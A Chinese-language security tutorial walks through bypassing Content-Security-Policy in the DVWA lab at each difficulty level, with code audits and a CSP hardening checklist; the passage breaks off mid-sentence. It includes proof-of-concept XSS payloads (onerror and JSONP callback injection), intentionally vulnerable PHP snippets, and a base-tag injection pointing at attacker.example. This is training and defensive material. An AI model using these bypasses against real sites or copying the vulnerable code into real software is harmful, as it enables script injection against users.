做Web安全测试这些年,我翻过不少系统的CSP响应头,也见过不少“看起来无懈可击、实际上形同虚设”的配置。CSP(Content-Security-Policy)作为浏览器端最后一道防线,本来应该把XSS和脚本注入挡在门外,但只要一个unsafe-inline、一个多余的self,甚至一个不太干净的JSONP接口,整个防线就能从内部瓦解。DVWA靶场专门开了个CSP Bypass模块,目的就是把这些绕过手法放在一个合法、可控的本地环境里反复练。这篇文章不绕弯子,直接记录我在DVWA上从Low到Impossible四个等级的通关过程、每个等级的源码审计思路,以及最后落地到真实项目里的修复建议。适合想搞懂CSP绕过原理的安全测试工程师,也适合写业务代码但被CSP折磨过的开发同学。先说明一点:所有操作都在本地靶场完成,不要在未经授权的外部目标上复现,这是底线。
1. 先弄懂CSP在“防什么”,再谈绕什么
1.1 CSP核心作用
CSP是浏览器的一种安全机制,通过在HTTP响应头里声明“这个页面允许从哪些来源加载哪些类型的资源”,来限制脚本、样式、图片、iframe等内容的来源。最核心的价值是:即使攻击者把恶意脚本塞进了页面,只要这个脚本来源不在CSP白名单里,浏览器就不会执行它。
比如一个页面声明了script-src 'self',那么页面只能执行来自当前域名同源路径下的JavaScript。内联的<script>标签、写在HTML属性里的事件处理器(onclick、onerror)都会被拦下来。如果声明了script-src 'self' 'unsafe-inline',那么内联脚本和事件属性又会被放行,CSP的拦截效果就大打折扣了。
1.2 几个关键指令让绕过有迹可循
CSP指令很多,但做绕过和源码审计时,最需要盯住的是这几个:
script-src:脚本来源白名单,最核心的指令,几乎所有绕过都围绕它展开。object-src:控制<object>、<embed>、<applet>标签来源。很多配置只写了script-src,忘了object-src,就可能用Flash或PDF加载器绕过。base-uri:控制页面基础链接,配置不当会被攻击者用来改变相对路径,导致后续资源加载到攻击者控制的位置。unsafe-inline:允许内联脚本和事件属性。相当于给CSP撕了一个大口子。unsafe-eval:允许执行eval()、setTimeout("字符串")这类函数。一旦开了,很多注入点可以借道执行。nonce-xxx:给脚本标签一个随机nonce,只有带正确nonce的脚本才允许执行。这是目前主流推荐方案。'self':只允许同源资源。听起来安全,但“同源”不代表“内容可控”,如果同源存在JSONP接口、文件上传点、可拼接脚本的出口,'self'一样能被绕过。
绕过CSP的核心思路就一句话:在不违反CSP策略的前提下,找到一条让浏览器加载并执行“攻击者可控代码”的路径。要么利用配置中的宽松指令,比如unsafe-inline;要么利用被白名单放行的同源接口,比如JSONP;要么利用被遗漏的指令,比如没配object-src。
1.3 DVWA的CSP模块四个等级
DVWA的CSP模块本身就是一台很好的“教学机”,它把安全等级拉满梯度,让你能直观感受CSP从宽松到严格的变化。不同的DVWA版本在页面细节上有细微差异,但原理一致:
- Low等级:CSP头里带着
unsafe-inline,目标很明确,就是让你直接通过内联脚本或事件属性触发执行。 - Medium等级:去掉
unsafe-inline,CSP收紧为script-src 'self'。这时候单纯内联脚本没戏,但有同源JSONP等接口可以利用。 - High等级:在
self基础上加上nonce,合法脚本都有了随机nonce标记。同样需要你结合同源可控来源和nonce机制找破绽。 - Impossible等级:CSP限制到最小,通常只允许带正确nonce的脚本,并且把
self、unsafe-inline都收掉。这个等级基本打不动,作为对照组存在,也是业务应该努力达到的目标。
理解这四个等级,就理解了CSP整个演进过程。下面先把靶场跑起来。
2. 环境准备:本地把DVWA CSP模块跑起来
2.1 搭建DVWA靶场
DVWA(Damn Vulnerable Web Application)是个经典的开源漏洞靶场,专门用来练习Web漏洞,完全可以在本机用Docker起一套。我个人习惯用Docker方式,干净、快速、不污染本机环境。
docker run -d -p 8080:80 --name dvwa <?php // 伪代码示意,实际DVWA容器镜像名以官方仓库为准先别急着敲命令,这里的重点是理解环境:CPU和内存不用太夸张,2核4G足够跑全套服务。PHP、MySQL、Apache都在容器里,启动后浏览器访问`http://localhost:8080`,会看到DVWA的初始化页面。首次打开需要点击“Create / Reset Database”按钮,它会自动创建数据库,并让你用默认账号`admin/password`登录。整个过程就是喝水这么简单,但注意不要在公网服务器上搭这个靶场,本地环回地址就够了。 如果你不想用容器,传统的PHP集成环境同样可以跑。把DVWA源码放进Web根目录,配置好`config/config.inc.php`里的数据库口令,导入数据库,一样能打开。唯一要注意的是PHP版本兼容性,老版本DVWA在PHP 7以上偶尔会报函数废弃警告,不影响核心功能。 ### 2.2 切换到Security Level并定位CSP模块 登录进DVWA后,先别急着去打CSP模块,第一件事是设置安全等级。点击导航栏里的“DVWA Security”,把等级切到Low,再点击“Save”。DVWA的每个漏洞模块都会根据这个Level动态调整代码逻辑,CSP模块也一样。 然后从左侧菜单找到`Content Security Policy (CSP) Bypass`页面,点击进去。这个页面通常有几个按钮或者一个输入框,不同版本长得不太一样,但主题都是“包含用户可控脚本”。进入页面后,可以先按F12打开浏览器开发者工具,切到“网络”标签,刷新页面,查看主文档响应头里`Content-Security-Policy`的值。确认这个头真实存在,再开始后续实验。 ### 2.3 先通过浏览器控制台确认CSP是否生效 判断CSP是否生效,最快的方法是看浏览器控制台的报错。当页面尝试执行一个被CSP拦截的脚本时,Chrome会在Console里输出类似这样的信息:Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'".
看到这种报错,说明CSP已经被浏览器接受并开始拦截。如果没有报错,且页面脚本照常执行,有可能是CSP头没设置成功,或者页面有多个CSP头互相干扰。这也是一种常见问题,后面在“常见问题与排查”里再展开。 DVWA的CSP模块还经常把外部脚本加载也纳入场景。比如页面里会通过`<script src="...">`引入某个JS文件,或者存在一个“Include JS”功能让你填写外部JS地址。这个交互设计其实就是为后面的JSONP绕过做铺垫。 ## 3. Low难度:unsafe-inline就是“门户大开” ### 3.1 试一个内联事件,观察弹窗 把DVWA安全等级切到Low,进入CSP模块,先直接在页面可控输入点提交一段内联脚本。如果不清楚输入点在哪,就点过页面里的按钮,观察URL参数变化。常见情况下,可以在地址栏或输入框构造这样的payload: ```html <img src="x" onerror="alert(document.domain)">如果页面把这段HTML原样输出到DOM中,CSP策略又是script-src 'self' 'unsafe-inline',那么浏览器会执行onerror里的JavaScript,弹出一个窗口,显示当前域名。我把这当作最基础的验证方式,因为它不依赖额外的外部文件,也不需要知道同源里有什么接口,只要存在一个HTML注入点,就能确认漏洞存在。
有时候DVWA的CSP模块并没有一个明显的HTML输入框,而是通过按钮触发脚本。这种情况下,可以看按钮本身的onclick属性属于内联事件,同样被unsafe-inline放行。所以Low等级的通关思路非常简单:凡是能注入<script>或事件属性的位置,都等于任意脚本执行。
3.2 源码审计:CSP头与输出点
到这一步就该打开源码看了。DVWA的CSP模块通常是一个PHP文件,里面会有一段设置响应头的代码,典型的Low等级写法如下:
<?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline'"; header($headerCSP); ?>接着页面里大概率会有一个接收用户输入的参数,比如include、callback或者直接是文本框内容,然后将输入直接拼接到HTML或JavaScript上下文中。我见过比较典型的漏洞代码是直接输出一个带事件属性的标签:
<?php if (isset($_GET['input'])) { echo "<button onclick=\"" . $_GET['input'] . "\">点我</button>"; } ?>这里有两个致命点:第一,CSP配置里带unsafe-inline,导致所有内联事件处理器都被放行;第二,用户输入被直接拼进onclick属性,没有任何过滤。两个问题叠加,攻击者填入alert(1)就能直接执行。哪怕业务代码里做了关键字黑名单,只要CSP不收紧,绕过也只是多花几分钟的事情。
3.3 这种配置在真实场景中很常见
Low等级看起来简单,但它映射的是真实世界大量存量系统。很多老项目开发时间早,为了兼容当时的浏览器和各种插件,直接在CSP里写unsafe-inline。有些项目甚至为了省事,把所有资源来源都放宽到*,等于完全放弃CSP的防护意义。
我在实际项目中看到过一个更隐蔽的坑:开发同学确实写了CSP头,但为了兼容某个第三方的行内样式,又把style-src 'unsafe-inline'带上。如果放宽的只是样式还好,问题不大。但很多人直接把script-src 'unsafe-inline'一并加上,理由是“不然线上脚本报错”。这本质上是拿安全换省事,风险极高。Low等级通关的意义就在于此:让你亲眼看到一条unsafe-inline指令,能让前面的所有过滤变成摆设。
4. Medium难度:禁了内联,但给了“同源后门”
4.1 直接内联脚本会被拦截,报什么错
把安全等级切到Medium,重新进入CSP模块,再尝试刚才的<img onerror>或内联<script>。这次浏览器不会再执行它,控制台会出现明确的CSP拒绝提示:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"这说明Medium等级的CSP大概率是script-src 'self'。unsafe-inline被去掉之后,内联脚本和事件属性全部禁止,这条路被堵死了。如果这时候你碰巧在DVWA的URL参数里发现一个可以填写“外部脚本地址”的功能,那恭喜你,真正的绕道才刚刚开始。
4.2 找到一个可控的同源脚本入口
script-src 'self'允许加载同源脚本,但同源脚本是否安全,取决于这个“脚本内容”是不是完全受服务器控制。如果同源路径下有一个能把用户输入拼接到JavaScript输出里的接口,那这个接口就是绕过CSP的跳板。
DVWA CSP模块里最经典的跳板是JSONP接口。JSONP本来就是一种“用脚本回包”的设计,服务端接收一个callback参数,把参数原样拼进返回的JavaScript函数调用里。页面里如果存在这样的同源接口:
/vulnerabilities/csp/source/jsonp.php?callback=alert(1)那么浏览器加载这个脚本时,实际上是在执行一段由callback参数决定的JavaScript。因为脚本URL和当前页面同源,正好命中script-src 'self',所以CSP不会拦截。构造一个完整的HTML注入,可以这样写:
<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>如果后端返回的是类似alert(1)({"result": ...})的结构,那么alert(1)会被调用,浏览器依然弹窗。如果对方在callback后面拼接了多余内容导致语法报错,可以尝试用注释闭合掉后面内容,比如:
<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)//"></script>//把后面的内容全部注释成注释,这样alert(1)//就成为一个完整JavaScript语句。
4.3 源码审计:callback参数是“胶水”
Medium等级的核心源码就藏在这个JSONP接口里。打开DVWA的CSP模块相关源码,很容易看到类似实现:
<?php $callback = $_GET['callback']; header('Content-Type: application/javascript'); echo $callback . '({"message": "ok"});'; ?>这个接口干净利落地把callback参数直接拼到输出里,没有任何过滤。代码自身没问题,它设计之初就是给合法业务用的,通常调用方会自己传入一个合法的函数名。但问题是,它没做白名单校验,任何用户都可以把callback改造成一段可执行JavaScript。CSP看到的是“同源脚本被加载”,完全不知道里面的alert(1)是攻击者塞进去的,这就是script-src 'self'的天然盲区。
如果想要加固这个接口,第一反应是过滤callback,比如只允许纯字母、数字、点和中括号。但最好的方案是不让用户任意指定callback,由服务端在可信逻辑里生成固定回调函数名。
4.4 真实场景:同源可控输出不只有JSONP
理解Medium等级后,再看真实项目,就会意识到JSONP只是同源可控输出的一种形态。CSPscript-src 'self'放行一切同源脚本,攻击者真正缺的是“能在同源环境下写出可执行脚本”的渠道。常见形态包括:
- 同源JSONP接口,参数直接控制脚本内容。
- 同源上传点,上传一个
.js文件到服务器目录,然后用<script src="/upload/xx.js">加载。前提是服务器允许上传可执行脚本文件且目录可写。 - 同源反射点,比如某个接口返回的JSON字段里包含用户可控内容,被前端当作脚本拼接执行。
- 同源调试接口或测试页面,某些系统专门留了
eval入口给内部调试使用。
所以在做源码审计时,看到script-src 'self'不能直接下结论“安全”。要把同源下的所有可控输出点梳理一遍,尤其是JSONP、图片处理、文件上传这类常见高风险入口。
5. High难度:加了nonce也不一定安全
5.1 High等级下尝试传统绕过
把DVWA安全等级切到High,再回到CSP页面,用Medium的JSONP payload再试一次。部分DVWA版本在High等级下的CSP头是这样的:
Content-Security-Policy: script-src 'self' 'nonce-4f3a2c1b...'页面内所有合法脚本标签都带了一个nonce属性,例如:
<script nonce="4f3a2c1b..."> // 合法脚本 </script>你注入的<script>标签没有这个nonce,所以浏览器会拒绝执行。看起来是比Medium难了,如果你用的是最简单的内联payload,确实会被秒拦。但是注意,CSP头里同时出现了'self'和'nonce-xxx',这意味着两者都是白名单许可,不是二选一。也就是说,所有同源脚本依然是被允许的,并不强制要求带nonce。Medium等级赖以绕过的JSONP接口,在High等级下依然可以利用。
再试一次:
<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>浏览器会看这个脚本URL是否属于self,答案是肯定,于是执行。nonce机制没有挡住同源外部脚本,只是挡掉了没有nonce的内联脚本。所以High等级的绕过思路,通常还是复用Medium那条路。这也从侧面说明了'self'与nonce同时存在的微妙问题。
5.2 源码审计:nonce放在哪里,是否把self也留下了
打开High等级的源码,可以看到大概是这样的逻辑:
<?php $nonce = md5(uniqid(rand(), true)); header("Content-Security-Policy: script-src 'self' 'nonce-{$nonce}'"); ?> <script nonce="<?php echo $nonce; ?>"> // 受保护的合法代码 </script>审计的第一件事,是确认nonce是否每次请求随机生成、是否只在PHP服务端生成、有没有被固定值替代。第二件事才是看CSP字符串里是否还有self。如果还有self,那同源脚本就是永远的后门,nonce只能保护内联脚本,保护不了同源JSONP。第三件事,看nonce有没有被泄露到用户可控的接口里。如果某个接口把nonce明文返回到前端,攻击者拿到后就能为恶意脚本伪造nonce,形式上等于绕过了白名单。
如果某些版本的DVWA在High等级下彻底去掉了self,只保留script-src 'nonce-xxx',那么同源JSONP这条路就断了。这种情况下只能找带合法nonce的脚本里的DOM XSS sink。举个例子,页面里有一段合法脚本读取URL参数,然后通过innerHTML写入页面,攻击者虽然不能执行外部脚本,但可以让业务代码自己执行恶意逻辑。这种基于合法代码内部的执行链,是审计里最花时间的地方。
5.3 源码审计中容易遗漏的指令
High等级真正的突破点,有时不在script-src本身,而在于审计人员只盯着script-src,忽略了其他指令。我见过很多CSP配置,script-src写得严格,但object-src根本没写。在没有default-src兜底的情况下,<object>、<embed>、<applet>的资源加载不受限制,攻击者可以用老旧的Flash或PDF执行JavaScript。现代浏览器对Flash支持越来越差,但这个原理依然值得留意。
还有base-uri。如果base-uri没配置,攻击者可以往页面注入一个<base href="https://attacker.example/">,让页面后续的相对路径资源加载到攻击者的服务器上。如果这时候CSP白名单里没有攻击者域名,那么<script src="/js/app.js">这类相对路径脚本实际上会变成加载攻击者域下的/js/app.js,一旦配合self或其他宽松策略,就可能形成完整利用链。审计时一定要看完整CSP头,而不是只看script-src。
6. 从源码审计到修复:一份可落地的CSP加固清单
6.1 移除unsafe-inline,别让古老配置继续裸奔
在DVWA里实验完,回到真实场景,第一件事就是把unsafe-inline从script-src里去干净。如果业务里确实存在内联脚本,比如页面初始化变量、配置参数,不要图省事直接放开unsafe-inline,而是把这段内联逻辑提取成独立JS文件,或者给内联脚本加上nonce。
我之前帮一个项目做加固,对方说“去掉unsafe-inline后页面白屏”,排查后发现是模板渲染出大量内联事件。解决办法不是把unsafe-inline加回去,而是把模板里所有onclick="xx()"改成事件监听,在外部JS里统一绑定。这个过程有些伤筋动骨,但比开着漏洞裸奔强。
正确配置可以参考这个模板:
$nonce = base64_encode(random_bytes(16)); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-{$nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none';");default-src 'none':把所有没说清楚的资源全部禁止,避免遗漏指令造成绕过。script-src 'nonce-{$nonce}' 'strict-dynamic':允许带nonce的脚本执行,并让这些脚本动态加载的后续脚本自动继承信任。strict-dynamic还隐含禁止unsafe-inline带来的风险,是当前推荐的现代配置。object-src 'none'和base-uri 'none':把高危的object和base路径直接封死。
6.2 nonce的生成与使用,最容易翻车的三个细节
nonce不是万能药,配置不对照样翻车。三个最容易踩的坑:
第一,nonce必须是每次HTTP响应随机生成的,不能写死在代码里当作常量。我见过有人把nonce放到配置文件里,所有用户所有请求都用同一个值,攻击者抓包拿到nonce后就能伪造任意脚本标签。
第二,nonce不能出现在可缓存的静态资源文件名里。如果服务端把包含nonce的CSP头打到所有静态JS上,或者把nonce作为一个参数传给外部CDN脚本,等于把钥匙交给了别人。正确做法是nonce只出现在HTML响应里,并配合Cache-Control: no-cache,避免中间缓存把nonce绑定到不值得信任的资源上。
第三,所有动态生成的<script>都要能拿到nonce。很多前端框架会动态插入脚本,如果插入时不带nonce属性,CSP会直接拦截,页面又白屏。所以要有一套统一的脚本加载机制,把nonce从后端传到前端,再由前端统一注入。可以放到<script>标签里,通过>